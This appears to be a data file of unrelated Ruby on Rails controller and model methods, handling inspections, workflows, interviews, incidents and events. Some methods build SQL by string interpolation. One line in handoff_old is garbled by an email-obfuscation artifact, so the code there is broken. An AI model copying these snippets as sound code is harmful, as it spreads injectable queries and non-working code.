"def create_inspection\n is_ok = false\n QcInspection.transaction do\n self.inspection_number = MesControlFile.next_seq_web(MesControlFile::QC_INSPECTION)\n if self.save\n set_status STATUS_CREATED\n inspection_type = self.qc_inspection_type\n filter_record = get_filter_context( inspection_type )\n unless filter_record.nil?\n self.inspection_reference = filter_record.attributes[self.qc_inspection_type.inspection_ref_column]\n info_hash = {}\n self.qc_inspection_type.business_info_columns_list.split(/\\s*,\\s*/).each do |col|\n info_hash[col.strip] = filter_record.attributes[col.strip] || ' '\n end\n self.business_info = info_hash.to_yaml\n self.save!\n is_ok = create_tests( inspection_type, filter_record )\n end\n end\n raise ActiveRecord::Rollback unless is_ok\n end\n is_ok \n end",
"def check_for_closed_incidents\n incidents.where(status: 'Closed').each(&:check_closed_at_time)\n end",
"def set_inspection\n @inspection = Inspection.find(params[:id])\n @documents = @inspection.try(:documents)\n @clients = @inspection.try(:appointment).try(:insp_request).try(:property).try(:clients)\n @project = Project.find(params[:project_id]) if params[:project_id].present?\n end",
"def setup_invites_for_upcoming\n if( @upcoming_near_me.blank? )\n @upcoming_near_me = Invitation.search \"#{@current_city} #{@current_state} #{@current_country}\",:with => {:start_date => Time.now.utc..Time.now.utc.advance(:days => 1000),:is_public => 1,:deactivated => 0}, :without => {:purpose_id => 19}, :order => :id, :sort_mode => :desc\n #~ @upcoming_near_me = LookUp::meetings_for_upcoming_on_user_home(:city => @current_city, :state => @current_state, :country => @current_country) \n @invites_for_map = LookUp::invites_for_map_on_user_home(@upcoming_near_me.map(&:id))\n end\n end",
"def handoff_old\n\t\t@workflows = [] #WorkFlow.where(is_active: true, is_in_use: false)\n\t\t@holidays = []\n\t\t@reason_codes = []\n\t\t@days_at_ia_approved = 0\n\t\t@days_at_ecr_inbox = 0\n\t\t@days_at_sent_to_collab = 0\n\t\t@days_at_station8_sent = 0\n\t\t@days_at_crb_started = 0\n\t\t@days_at_ecn_released = 0\n\n\t\t@pred_of_ia_approved = ''\n\t\t@pred_of_ecr_inbox = ''\n\t\t@pred_of_sent_to_collab = ''\n\t\t@pred_of_station8_sent = ''\n\t\t@pred_of_crb_started = ''\n\t\t@pred_of_ecn_released = ''\n\n\n\t\[email protected] do |holiday|\n\t @holidays << holiday\n\t end\n\n\t\tworkflows = WorkFlow.where(is_active: true, is_in_use: false)\n\t\tworkflows.each do |wk|\n\t\t\t@workflows << wk\n\t\tend\n\n\t\t@filtered_station_steps = []\n\t filtered_station_steps = @workflow.report_filter_steps.eager_load(:station_step => [:workflow_station]).order(:sequence)\n\t\tfiltered_station_steps.each do |fss|\n\t\t\t@filtered_station_steps << fss\n\t\t\tif fss.station_step_id == 1\n\t\t\t\t@days_at_ia_approved = fss.duration_days\n\t\t\t\t@pred_of_ia_approved = fss.predecessors\n\t\t\tend\n\t\t\tif fss.station_step_id == 7\n\t\t\t\t@days_at_ecr_inbox = fss.duration_days\n\t\t\t\t@pred_of_ecr_inbox = fss.predecessors\n\t\t\tend\n\t\t\tif fss.station_step_id == 5\n\t\t\t\t@days_at_sent_to_collab = fss.duration_days\n\t\t\t\t@pred_of_sent_to_collab = fss.predecessors\n\t\t\tend\n\t\t\tif fss.station_step_id == 15\n\t\t\t\t@days_at_station8_sent = fss.duration_days\n\t\t\t\t@pred_of_station8_sent = fss.predecessors\n\t\t\tend\n\t\t\tif fss.station_step_id == 17\n\t\t\t\t@days_at_crb_started = fss.duration_days\n\t\t\t\t@pred_of_crb_started = fss.predecessors\n\t\t\tend\n\t\t\tif fss.station_step_id == 19\n\t\t\t\t@pred_of_ecn_released = fss.predecessors\n\t\t\tend\n\n\t\tend\n\n\t\t@stationSteps = []\n\t\tstation_steps = StationStep.eager_load(:workflow_station)\n\t\tstation_steps.each do |stp|\n\t\t\t@stationSteps << stp\n\t\tend\n\n \tif request.post?\n \t\tparams_list = params\n \t\tsearch\n \t\tsession[:report_wildcard] = params[:wildcard]\n\t\t session[:report_exact] = params[:exact]\n\n \t\tsession[:params_search] = params_list \n \t\t\tsearch_parm = search_csv(params_list)\n \t\telse\n \t\t\tparams_list = session[:params_search]\n\t\t if session[:report_wildcard].present?\n\t\t @wildcard = session[:report_wildcard]\n\t\t end\n\t\t if session[:report_exact].present?\n\t\t @exact = session[:report_exact]\n\t\t end\n\n\t\t if params_list.present?\n \t\t\t\tsearch_parm = search_csv(params_list)\n \t\t\tend\n \t\tend\t\n\n \t\tif params_list.present?\n\t \t\tbu = search_parm[0]\n\t \t\tl1 = search_parm[1]\n\t \t\tl2 = search_parm[2]\n\t \t\tl3 = search_parm[3]\n\t\t\t\n\t\t\tif params_list[:report_include_canceled].presence\n\t \t\tinclude_cancel = true\n\t \t\t@report_include_canceled = 'report_include_canceled'\n\t \telse\n\t \t\tinclude_cancel = false\n\t \tend\n\t \tif params_list[:report_include_onhold].presence\n\t \t\tinclude_onhold = true\n\t \t\t@report_include_onhold = 'report_include_onhold'\n\t \telse\n\t \t\tinclude_onhold = false\n\t \tend\n\t\t\tif params_list[:report_include_completed].presence\n\t \t\tinclude_completed = true\n\t \t\t@report_include_completed = 'report_include_completed'\n\t \telse\n\t \t\tinclude_completed = false\n\t \tend\t\n\n\t\t\tputs \"----:#{bu}---: #{l1}---:#{l2}---:#{l3}----:#{include_cancel}----:#{include_onhold}----:#{include_completed}\"\n\t \t\t@serach_result = []\n\t \t\tserach_result = WorkFlow.handoff_report_stored_procedure(bu, l1, l2, l3, include_completed, include_cancel, include_onhold)\n \t\t\tserach_result.each do |result|\n \t\t\t\t@serach_result << result\n \t\t\tend\n\n \t\tend\n \tend",
"def index\n @pcr_inspections = PcrInspection.all\n end",
"def current_status\n\t\t@workflows = WorkFlow.where(is_active: true, is_in_use: false)\n\t\t@report_include_canceled = session[:report_include_canceled]\n \t@report_include_completed = session[:report_include_completed]\n\t \n\t if session[:report_wildcard].present?\n\t @wildcard = session[:report_wildcard]\n\t end\n\t if session[:report_exact].present?\n\t @exact = session[:report_exact]\n\t end\n\t if request.post? or session[:report_q_string].present?\n\t \tq_string = ''\n \t\t\tif request.post?\n \t\t\t\tsession[:params_search] = params \n\t\t\t if params[:report_include_canceled].presence\n\t\t\t @report_include_canceled = params[:report_include_canceled]\n\t\t\t session[:report_include_canceled] = @report_include_canceled\n\t\t\t else\n\t\t\t session.delete(:report_include_canceled)\n\t\t\t end\n\t\t\t if params[:report_include_completed].presence\n\t\t\t @report_include_completed = params[:report_include_completed]\n\t\t\t session[:report_include_completed] = @report_include_completed\n\t\t\t else\n\t\t\t session.delete(:report_include_completed)\n\t\t\t end\n\n \t\t\t\t@serach_result = search[0]\n \t\t\t\tq_string = search[1]\n \t\t\telse\n \t\t\t \tq_string = session[:report_q_string]\n \t\t\t \tif q_string != ''\n\t\t\t\t\tif @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search(q_string)\n\t\t\t\t\telsif @report_include_canceled == 'report_include_canceled'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_complete(q_string)\n\t\t\t\t\telsif @report_include_completed == 'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel(q_string)\n\t\t\t\t\telse\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel_and_complete(q_string)\n\t\t\t\t\tend\n\t \t\t\tend\n \t\t\tend\n\n\t\t\tif q_string != ''\n\t\t if @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t\t\t@report_serach_result = WorkFlow.current_report_search(q_string)\n\t\t elsif @report_include_canceled == 'report_include_canceled'\n\t\t \t@report_serach_result = WorkFlow.current_report_search_exclude_complete(q_string)\n\t\t elsif @report_include_completed == 'report_include_completed'\n\t\t \t@report_serach_result = WorkFlow.current_report_search_exclude_cancel(q_string)\n\t\t else\n\t\t \t@report_serach_result = WorkFlow.current_report_search_exclude_cancel_and_complete(q_string)\n\t\t end\n\t\t\tend\n \t\tend\n\tend",
"def revert_complete\n QcInspection.transaction do\n self.set_status STATUS_IN_PROGRESS\n end\n end",
"def index\n @inspection_checklists = InspectionChecklist.all\n end",
"def index\n @investigationinjurylocations = Investigationinjurylocation.all\n end",
"def index\n current_date = Date.current\n @competitions = Competition.non_fotofinish.order(:created_at).paginate(page: params[:page])\n @fotofinishes = Competition.fotofinish.order(:created_at).paginate(page: params[:page])\n \n @old_competitions = @competitions.where('open_date <= ?', current_date)\n @current_competitions = @competitions.where('open_date > ?', current_date)\n\n # fresh_when(@competitions)\n end",
"def index\n @investigations = Investigation.all\n end",
"def index\n @searches = Search.where(business_id: current_business.id)\n end",
"def new_super_search_upcoming\n @browse_state.attributes=(params)\n @search_filter = @browse_state.make_search_filter\n @feed_params = @search_filter.to_rss_params\n search_filter = @search_filter.clone\n search_filter.start_date = Time.now.utc\n\n if !search_filter.zip.blank? || !search_filter.city.blank?\n r = ZipCode.find(:first,:select => \"latitude,longitude\",:conditions => [\"zip = ? or city = ?\",search_filter.zip,search_filter.city])\n rad = 25\n if !r.nil?\n sql = \"SELECT dest.id,dest.zip,3956 * 2 * ASIN(SQRT( POWER(SIN((orig.latitude - dest.latitude) * pi()/180 / 2), 2) + COS(orig.latitude * pi()/180) * COS(dest.latitude * pi()/180) * POWER(SIN((orig.longitude -dest.longitude) * pi()/180 / 2), 2) )) as distance FROM zip_codes dest, zip_codes orig WHERE dest.id = orig.id and dest.longitude between #{r.longitude}-#{rad}/abs(cos(radians(#{r.latitude}))*69) and #{r.longitude}+#{rad}/abs(cos(radians(#{r.latitude}))*69) and dest.latitude between #{r.latitude}-(#{rad}/69) and #{r.latitude}+(#{rad}/69) LIMIT 4096\"\n z = ZipCode.find_by_sql(sql)\n zcids = z.collect(&:id)\n end\n else\n zcids = \"\"\n end\n zcids = \"\" if r.nil?\n @invitations=Invitation.search \" #{search_filter.country}\",:with => {:start_date => Time.now.utc..Time.now.utc.advance(:days => 1000),:is_public => 1,:deactivated => 0,:zip_code_id => zcids}, :without => {:purpose_id => 19},:conditions => {:virtual_f => \"no_flag\",:university_name => @univ_account}, :order => :id, :sort_mode => :desc, :page => params[:page], :per_page => 10 \n if @invitations.blank?\n @invitation = Invitation.new(:recurrence_frequency => 'weekly', \n :address => Address.new(:state => @geoip_location.state, \n :city => @geoip_location.city, \n :country => @geoip_location.country))\n end\n end",
"def complete_investigation; end",
"def reported\n @activities = Activity.flagged_or_close.order(\"created_at desc\").\n not_undo.paginate(:per_page=>default_per_page,:page=>params[:page])\n end",
"def scheduled_interviews\n\t cur_emp = get_logged_employee\n\t\tif cur_emp.employee_type == \"ADMIN\" || cur_emp.employee_type == \"HR\"\n\t @interviews = ReqMatch.where(:status => \"SCHEDULED\")\n\t\telse\n\t #@interviews = ReqMatch.where(\"forwarded_to = ?\", cur_emp.eid).where(:status => \"SCHEDULED\")\n\t @interviews = ReqMatch.where(\"forwarded_to = ?\", cur_emp.eid, :status => \"SCHEDULED\")\n\t\tend\n\t\trender \"resumes/interviews_status\"\n\tend",
"def set_excuses\n committee = Committee.find(params[:committee_id]) if params[:committee_id]\n if committee && current_user&.heads_committee?(committee)\n @meetings = committee.meetings\n @records = AttendanceRecord.where(meeting: @meetings)\n @excuses = Excuse.where(attendance_record: @records)\n else\n redirect_to excuses_my_absences_path\n end\n end",
"def process_stale_issues\n handle_newly_stale_issues\n handle_stale_and_unmergable_prs\n end",
"def find_requests\n @responsibility_requests = ResponsibilityRequest.paginate(:page => @page,\n :per_page => @per_page,\n :conditions => \"status='pending' OR status IS NULL\")\n \n @responsibility_requests.delete_if{|r| !r.user_can_approve(current_user) && (r.user != current_user) }\n end",
"def index\n @investigationcauses = Investigationcause.all\n end",
"def index\n @infections = Infection.all\n end",
"def fetch_for(criteria, ids_to_be_excluded)\n reimbursable_expenses_criteria(criteria, ids_to_be_excluded).to_a\n end",
"def index\n @issue_exists_in_google_sheets = IssueExistsInGoogleSheet.all\n end",
"def index\n @interviews = Interview.search_for_index(Riddle.escape(params[:search] ? params[:search] : ''),Riddle.escape(params[:institution] ? params[:institution] : ''),Riddle.escape(params[:position] ? params[:position] : ''),Riddle.escape(params[:status] ? params[:status] : ''),sort_column,sort_direction)\n all_interviews = Interview.all\n @positions,@institutions,@status = [],[],[]\n all_interviews.each { |interview|\n @positions << interview.position if interview.position != ''\n @status << interview.status if interview.status != ''\n @institutions << interview.institution if interview.institution != ''\n }\n end",
"def index\n @tickets = Ticket.includes({ :comments => :user}, :creator, :assignee).in_progress\n end",
"def index\n if params[:client_id].present? || params[:property_id].present? || params[:agent_id].present?\n if params[:search_filter] == \"Property\"\n @inspections = Inspection.joins(:appointment => :insp_request).where(\"insp_requests.property_id = ? \", params[:property_id]).paginate(page: params[:page])\n elsif params[:search_filter] == \"Client\"\n @inspections = Inspection.joins(:appointment => :insp_request).where(\"insp_requests.client_id = ? \", params[:client_id]).paginate(page: params[:page])\n elsif params[:search_filter] == \"Agent\"\n @inspections = Inspection.joins(:appointment => :insp_request).where(\"insp_requests.agent_id = ? \", params[:agent_id]).paginate(page: params[:page])\n end\n else\n @inspections = Inspection.all.paginate(page: params[:page])\n end\n @properties = Property.all.map{|p| [p.property_select_value, p.id]}\n @clients = Client.all.map{|c| [c.name, c.id]}\n @agents = Agent.all.map{|a| [a.name, a.id]}\n respond_to do |format|\n format.js\n format.csv { send_data Inspection.to_csv }\n format.html\n end\n end",
"def show\n @next_inspection_schedule = @equipment.next_inspection_schedule\n @inspection_histories = @equipment.inspection_schedules.where(schedule_status: ScheduleStatus.of_completed)\n end",
"def index\n if session[:search_flag] == \"1\"\n\n @tours = Tour.filterOutResults(session[:search_tourname], session[:search_state], session[:search_price], session[:search_country], session[:search_sdate], session[:search_edate], session[:search_availableSeats])\n @tours.each do |tour|\n if tour.endDate < Date.today\n tour.tourStatus = \"Completed\"\n #tour.update_attributes(:tourstatus, \"Completed\")\n elsif tour.startDate < Date.today\n tour.tourStatus = \"In Progress\"\n #tour.update_attributes(:tourstatus, \"In Progress\")\n end\n end\n session[:search_flag] = \"0\"\n else\n @tours = Tour.all\n @tours.each do |tour|\n if tour.endDate < Date.today\n tour.tourStatus = \"Completed\"\n #tour.update_attributes(:tourstatus, \"Completed\")\n elsif tour.startDate < Date.today\n tour.tourStatus = \"In Progress\"\n #tour.update_attributes(:tourstatus, \"In Progress\")\n end\n end\n end\n\n end",
"def my_interviews\n @interviews = get_logged_employee.interviews.joins(:req_match).where(\"req_matches.status = ?\", \"SCHEDULED\")\n\t\trender \"resumes/interview_requests\"\n\tend",
"def index\n @interview_criteria = InterviewCriterium.all\n end",
"def refresh_existing_results\n\t\t@study = Study.find(params[:study_id])\n\t\t@extraction_form_id = params[:extraction_form_id]\n\t\t\n\t\t@is_diagnostic = ExtractionForm.is_diagnostic?(@extraction_form_id)\t\n\t\t\n\t\tunless @is_diagnostic\n\t\t\t@existing_results = @study.get_existing_results_for_session(@extraction_form_id)\n\t\t\tocdes = @study.get_data_entries\n\t\t\t@existing_comparisons = OutcomeDataEntry.get_existing_comparisons_for_session(ocdes)\n\t\t\tsession[:study_arms] = Arm.find(:all, :conditions=>[\"study_id = ? AND extraction_form_id=?\",@study.id, @extraction_form_id], :order=>\"display_number ASC\", :select=>[\"id\",\"title\",\"description\",\"display_number\",\"extraction_form_id\",\"note\",\"default_num_enrolled\",\"is_intention_to_treat\"])\n\t\telse\n\t\t\tcomparisons = @study.get_comparison_entries\n\t\t\tsession[:study_arms] = nil\n\t\t\t@existing_comparisons, @existing_comparators = OutcomeDataEntry.get_existing_diagnostic_comparisons_for_session(comparisons)\n\t\t\t# GET THE SUBGROUPS ASSOCIATED WITH THESE OUTCOMES\n\t\t\t@outcomes = Outcome.find(:all, :conditions=>[\"study_id=? AND extraction_form_id=?\",@study.id,@extraction_form_id],:select=>[\"id\",\"title\",\"units\",\"description\",\"extraction_form_id\"])\n\t\t\t@outcome_subgroups = Outcome.get_subgroups_by_outcome(@outcomes)\n\t\t\t@subgroups = @outcome_subgroups.to_json\n\t\tend\n\tend",
"def get_save_in_progress\n sip_model\n .select(:form_id)\n .where('form_id LIKE ?', \"%#{HEALTH_CARE_FORM_PREFIX}%\")\n .where(user_uuid: user.uuid)\n .to_a\n end",
"def index\n if session[:user_id].nil?\n @inventory_owns = InventoryOwn.all\n else\n @conditions = Condition.all\n @inventory_owns = InventoryOwn.where(deleted: false).find_all_by_user_id(session[:user_id])\n end\n end",
"def current_status_aaa\n\t\t@workflows = WorkFlow.where(is_active: true, is_in_use: false)\n\t if session[:report_wildcard].present?\n\t @wildcard = session[:report_wildcard]\n\t end\n\t if session[:report_exact].present?\n\t @exact = session[:report_exact]\n\t end\n\t \n\t\tif request.post? or session[:report_q_string].present?\n\t\t\tif request.post?\n\t\t\t\t@serach_result = search[0]\n\t\t\t\tif search[1] != ''\n\t\t\t\t\t@report_serach_result = WorkFlow.current_report_search(search[1])\n\t\t\t\tend\n\t\t\t\n\t\t\telse\n\t\t\t \tq_string = session[:report_q_string]\n\t\t\t \tif q_string != ''\n\t\t\t\t\t@serach_result = WorkFlow.search(q_string)\n\t\t\t\t\t@report_serach_result = WorkFlow.current_report_search(q_string)\n\t\t\t\tend\n\t\t\tend\t\n\t\tend\n\tend",
"def results_not_financed(encounter)\n feedback_message = FeedbackMessages::Finder.patient_result_not_financed(encounter.institution)\n encounter.patient_results.each do |patient_result|\n update_status_and_log(patient_result, 'rejected')\n patient_result.update_attribute(:feedback_message_id, feedback_message.id)\n end\n end",
"def findExistingPieces\n id = returnAndIncrRequestId\n return id if @state == :after_stop\n @requests.push [id, :find_existing]\n @requestsSemaphore.signal\n id\n end",
"def unassigned\n if current_user.admin?\n @unassigned_prospects = Client.unassigned_prospects.order('import_datetime DESC')\n if params[:search_city].present?\n @unassigned_prospects = @unassigned_prospects.where('lower(city) LIKE ?', \"%#{params[:search_city].downcase}%\").order(:name)\n elsif params[:search_state].present?\n @unassigned_prospects = @unassigned_prospects.where('lower(state) LIKE ?', \"%#{params[:search_state].downcase}%\").order(:name)\n elsif params[:search_name].present?\n @unassigned_prospects = @unassigned_prospects.where('lower(name) LIKE ?', \"%#{params[:search_name].downcase}%\").order(:name)\n elsif params[:search_phone].present?\n @unassigned_prospects = @unassigned_prospects.where('lower(phone) LIKE ?', \"%#{params[:search_phone].downcase}%\").order(:name)\n else\n @unassigned_prospects = @unassigned_prospects.order('import_datetime DESC')\n end\n else\n redirect_to prospects_assignedcurrentrsm_path\n end\n end",
"def index\n @investigationclassifications = Investigationclassification.all\n end",
"def log_current_inspection\n qc_current_inspection = get_current_inspection_record( session[:user_id].id, @qc_inspection_type_code )\n if qc_current_inspection.nil?\n ActiveRecord::Base.connection.execute(\"INSERT INTO qc_current_inspections (user_id, qc_inspection_type_code, qc_inspection_id)\n VALUES(#{session[:user_id].id}, '#{@qc_inspection_type_code}', #{@qc_inspection.id})\")\n else\n ActiveRecord::Base.connection.execute(ActiveRecord::Base.extend_update_sql_with_request(\"UPDATE qc_current_inspections SET qc_inspection_id = #{@qc_inspection.id}\n WHERE user_id = #{session[:user_id].id} AND qc_inspection_type_code = '#{@qc_inspection_type_code}' \"))\n end\n end",
"def index\n @complaints = Complaint.where(:user_id => current_user.id)\n @location = Location.new\n @location.user_id = current_user.id\n\n\n @complaints_filter= Complaint.where(\"user_id != ?\",current_user.id).where(\"status != ?\",true)\n\n @complaints_attending= Complaint.where(:rescuer_id => current_user.id)\n end",
"def index\n @expeditions = current_user.expedition_instances.map(&:expedition)\n @userFuelFactor = 1 + (0.1 * current_user.science_instances.find_by(:science_id => Science.find_by(:name => \"Triebwerke\").id).level)\n @expeditions.each do |expi|\n if(expi.arrival_time < (Time.now + 2.hours ))\n expi.explore\n expi.expedition_instance.destroy\n expi.destroy\n end\n end\n @expi_home = Hash.new\n @expeditions = current_user.expedition_instances.map(&:expedition)\n @current_progress = Hash.new\n @expeditions.each do |exp|\n @current_progress[exp.id] = ((Time.now + 2.hours) - exp.arrival_time + exp.explore_time.hours)\n @expi_home[exp.id] = Ship.find_by_id(exp.ship_id)\n end\n end",
"def pending_invoices\n database.select { |id, invoice| !invoice.successful? }\n end",
"def on_new_investigation; end",
"def on_new_investigation; end",
"def on_new_investigation; end",
"def notify_new_findings\n # TODO: make the method avoid the creation of a Notification record\n end",
"def index\n if params[:search].present?\n\n search = params[:search].present? ? params[:search] : \"*\"\n where = {}\n\n # if params[:date_filter].present?\n # where[:date] = {\n # gte: DateTime.strptime(params[:date_filter], '%m/%d/%Y %l:%M %p').beginning_of_day,\n # lte: DateTime.strptime(params[:date_filter], '%m/%d/%Y %l:%M %p').end_of_day\n # }\n # end\n\n @for_bidding = Project.search( search, where: where.merge(status: 1), order: {created_at: :desc}, misspellings: false )\n @ongoing = Project.search( search, where: where.merge(status: 2), order: {created_at: :desc}, misspellings: false )\n @completed = Project.search( search, where: where.merge(status: 3), order: {created_at: :desc}, misspellings: false )\n @funding = Project.search( search, where: where.merge(status: 4), order: {created_at: :desc}, misspellings: false )\n\n # @ingoing = Document.search( search, where: where.merge(:outgoing => false), order: {created_at: :desc}, misspellings: false )\n # @outgoing = Document.search( search, where: where.merge(:outgoing => true), order: {created_at: :desc}, misspellings: false )\n\n else\n @projects = Project.all\n @for_bidding = @projects.where(status: 1).order('created_at desc')\n @ongoing = @projects.where(status: 2).order('created_at desc')\n @completed = @projects.where(status: 3).order('created_at desc')\n @funding = @projects.where(status: 4).order('created_at desc')\n end\n\n respond_to do |format|\n format.html\n format.xlsx {\n render xlsx: \"index\", filename: \"documents_spreadsheet.xlsx\"\n }\n end\n end",
"def index\n permission_denied and return if current_user.cannot 'read_inversion'\n @inversions = Inversion.all\n @new_inversion = Inversion.new\n end",
"def work_influences\n find_related_frbr_objects( :is_influenced_by, :which_works?) \n end",
"def index\n \t@current_actions_from_user = Action.find(:all, :conditions=>[\"person_id=? and progress in('open','in_progress')\", current_user.id], :order=>\"creation_date\")\n \t#@recent_current_actions_from_user = @current_actions_from_user.select { |action| (Time.now - action.creation_date) < 72}\n end",
"def ingest_only\n @works = Work.ingest_only\n render :index\n end",
"def search_context\n builder = Builder.new(view_context)\n\n builder.with_snippet(@snippet) if @snippet.present?\n @snippets.each(&builder.method(:with_snippet)) if @snippets.present?\n builder.with_project(@project) if @project.present? && @project.persisted?\n builder.with_group(@group) if @group.present? && @group.persisted?\n builder.with_ref(@ref) if @ref.present?\n\n builder.build!\n end",
"def index\n @sighting = Sighting.where(:user_id => current_user.id)\n @location = Location.new\n @location.user_id = current_user.id\n\n\n @complaints_filter= Sighting.where(\"user_id != ?\",current_user.id).where(\"status != ?\",true)\n\n @complaints_filter2= Directsighting.where(\"status != ?\",true)\n\n @complaints_attending= Sighting.where(:rescuer_id => current_user.id)\n end",
"def index\n @stockholders = Stockholder.all\n \n if params[:set_not_completed]\n @stockholders = @stockholders.filter_not_completed\n end\n \n if params[:set_completed]\n @stockholders = @stockholders.filter_completed\n end\n \n end",
"def audit\n\t\t\treturn if completed?\n\t\t\trefresh\n\t\t\ttally\n\t\tend",
"def index\n @inspection_templates = InspectionTemplate.all\n end",
"def index\n @individual_company_investments = IndividualCompanyInvestment.all\n end",
"def process_offices\n if @entity_data['offices'].present?\n @company.office_locations.destroy_all\n @entity_data['offices'].each_with_index do |office_data, index|\n hq_data = (index == 0 ? { headquarters: true } : {})\n create_office_location(office_data.merge(hq_data), @company)\n end\n end\n end",
"def index\n if @issuable\n if @issuable.class.to_s == 'Project'\n @pre_issues = @issuable.issues\n @pre_issues.concat(@issuable.lists.map{|l| l.studies.map{|s| s.issues }}.flatten)\n else\n @pre_issues = @issuable.issues.order('sequential_id DESC')\n end\n else\n @pre_issues = Issue.scoped\n end\n\n @issues = @pre_issues\n \n unless params[:state]\n params[:state] = 'open'\n end\n\n if params[:state] == 'open'\n @issues = @issues.where(closed: false)\n end\n if params[:state] == 'closed'\n @issues = @issues.where(closed: true)\n end\n if params[:creator]\n @issues = @issues.where(creator_id: params[:creator])\n end\n if params[:assignee]\n @issues = @issues.where(assigned_id: params[:assignee])\n end\n if params[:aspect]\n @project = Project.find(params[:aspect])\n @issues = @project.issues\n end\n\n respond_to do |format|\n format.html { render layout: 'fluid' }# index.html.erb\n format.json { render json: @issues }\n end\n end",
"def find_ongoing_jobs(profile)\n my_on_going_jobs = []\n if profile.user_type == 'teen'\n my_onging_contracts = Contract.where(profile_id: profile.id, accept_status: 2)\n my_onging_contracts.each do |constract_obj|\n my_on_going_jobs.push(constract_obj.job)\n end\n else\n my_jobs = profile.jobs\n my_jobs.each do |each_job|\n if Contract.find_by(job_id: each_job.id, accept_status: 2).present?\n my_on_going_jobs.push(each_job)\n end\n end\n end\n\n\n return my_on_going_jobs\n\n end",
"def index\n add_breadcrumb :planning\n\n @sprints = @project.sprints.not_running\n @issues = @project.backlog_items.not_completed.where(:sprint_id => nil)\n end",
"def current_qc_tests\n return if authorise_for_web(program_name(params[:id]),'edit')== false\n session[:qc_inspection_type_code] = params[:id]\n qc_current_inspection = ActiveRecord::Base.connection.select_one(\"select * from qc_current_inspections\n where user_id = #{session[:user_id].id}\n and qc_inspection_type_code = '#{params[:id]}'\")\n if qc_current_inspection.nil? || qc_current_inspection.qc_business_context_query.nil?\n redirect_to_index(\"'You have not yet listed tests for #{params[:id]}'\", \"''\")\n else\n dm_session[:search_engine_query_definition] = qc_current_inspection.qc_tests_query\n session[:columns_list] = YAML.load(qc_current_inspection.tests_columns_list)\n submit_tests_search\n end\n end",
"def index\n if(params[:business_id])\n\n\n upcoming_events_all = Event.where(\"end_time >= ?\", Time.now).where(:business_id => params[:business_id])\n @upcoming_events = []\n upcoming_events_all.each do |c|\n if(c.business.account.approved == true)\n if(Report.where(:reportable_id => c.id, :reportable_type => \"Event\").blank?)\n @upcoming_events << c\n end\n end\n end\n\n events_all = Event.where(:business_id => params[:business_id])\n @events = []\n events_all.each do |c|\n if(c.business.account.approved == true)\n @events << c\n end\n end\n\n @all_events = Event.where(:business_id => params[:business_id]).sort_by{|c| c.start_time }\n\n else\n\n upcoming_events_all = Event.where(\"end_time >= ?\", Time.now)\n @upcoming_events = []\n upcoming_events_all.each do |c|\n if(c.business.account.approved == true)\n if(Report.where(:reportable_id => c.id, :reportable_type => \"Event\").blank?)\n @upcoming_events << c\n end\n end\n end\n\n events_all = Event.all\n @events = []\n events_all.each do |c|\n if(c.business.account.approved == true)\n if(Report.where(:reportable_id => c.id, :reportable_type => \"Event\").blank?)\n @events << c\n end\n end\n end\n\n end\n\n\n end",
"def set_inspection\n @inspection = Inspection.find(params[:id])\n end",
"def set_inspection\n @inspection = Inspection.find(params[:id])\n end",
"def begin_investigation(processed_source); end",
"def index\n @intervenants = Intervenant.all\n end",
"def index\n load_incidents\n incident = Incident.all\n @incidents = incident.count\n @status = incident.group(:status).count\n @monthly_incidents = incident.group_by_month(:created_at, format: \"%b %Y\").count\n @victim_by_age = Victim.group(:agegroup).count\n @offendercategory = Offendercategory.group(:name).count\n @followupsstatus = Incidentfollowup.group(:status).count\n @closedcase = incident.where.not(status: %w[Solved Resolved resolved solved]).count\n @opencases = incident.where(status: %w[Solved Resolved resolved solved]).count\n @dropped = incident.where(status: %w[Dropped dropped]).count\n @nooffenders = incident.where(offender: '').count\n @mostrecent = incident.group_by_week(:created_at, last: 4)\n @timeofday = incident.group_by_hour_of_day(:created_at, format: \"%-l %P\").count\n @address = incident.group(:address).count\n\n @tests = incident.each do |incident|\n @bearing = incident.latitude.to_s + \",\"+incident.longitude.to_s\n @incidentaddress = Geocoder.address(@bearing)\n end\n \n @city = request.location.city\n\n\n # @result = @location_picker.city\n # @incidents_address = incident.group_by_month(:address, last: 4).count\n # @reversed = address.full_street_address\n end",
"def index\n @equipment_things_to_checks = EquipmentThingsToCheck.all\n end",
"def index\n @holiday = Holiday.find(params[:holiday_id])\n @occurrences = @holiday.occurrences\n end",
"def set_inspection\n @inspection = Inspection.find(params[:id])\n end",
"def index\n @unemployment_insurances = UnemploymentInsurance.all\n end",
"def index\n if params[:search].nil? || params[:search].empty?\n @concerts = Concert.all\n @upcoming_concerts = Concert.where(\"start > ?\", Time.now)\n else\n @upcoming_concerts = Concert.fuzzy_search(params[:search])\n end\n #google maps\n @pindrop = Gmaps4rails.build_markers(@upcoming_concerts) do |concert, marker|\n marker.lat concert.latitude\n marker.lng concert.longitude\n marker.infowindow concert.address\n end\n end",
"def index\n remove_empty_incident\n @incidents = @project.incidents\n respond_with @incidents\n end",
"def has_finished_interview?\n self.interviews.where(:status=>2).present?\nend",
"def search_pending\n rpc(:search_pending_all).key?(:success)\n end",
"def index\n @results = {}\n\n if TeSS::Config.solr_enabled\n SEARCH_MODELS.each do |model_name|\n model = model_name.constantize\n @results[model_name.underscore.pluralize.to_sym] = Sunspot.search(model) do\n fulltext search_params\n\n with('end').greater_than(Time.zone.now) if model_name == 'Event'\n\n\n # Hide failing records\n if model.method_defined?(:link_monitor)\n unless current_user && current_user.is_admin?\n without(:failing, true)\n end\n end\n\n if model.attribute_method?(:user_requires_approval?)\n # TODO: Fix this duplication!\n # Hide shadowbanned users' events, except from other shadowbanned users and administrators\n unless current_user && (current_user.shadowbanned? || current_user.is_admin?)\n without(:shadowbanned, true)\n end\n\n # Hide unverified users' things, except from curators and admins\n unless current_user && (current_user.is_curator? || current_user.is_admin?)\n without(:unverified, true)\n end\n end\n end\n end\n \n end\n\n @results.reject! { |_, result| result.total < 1 }\n end",
"def view_invitations\n @invitations = Invitation.all(:conditions => ['status = ?', 'pending'])\n end",
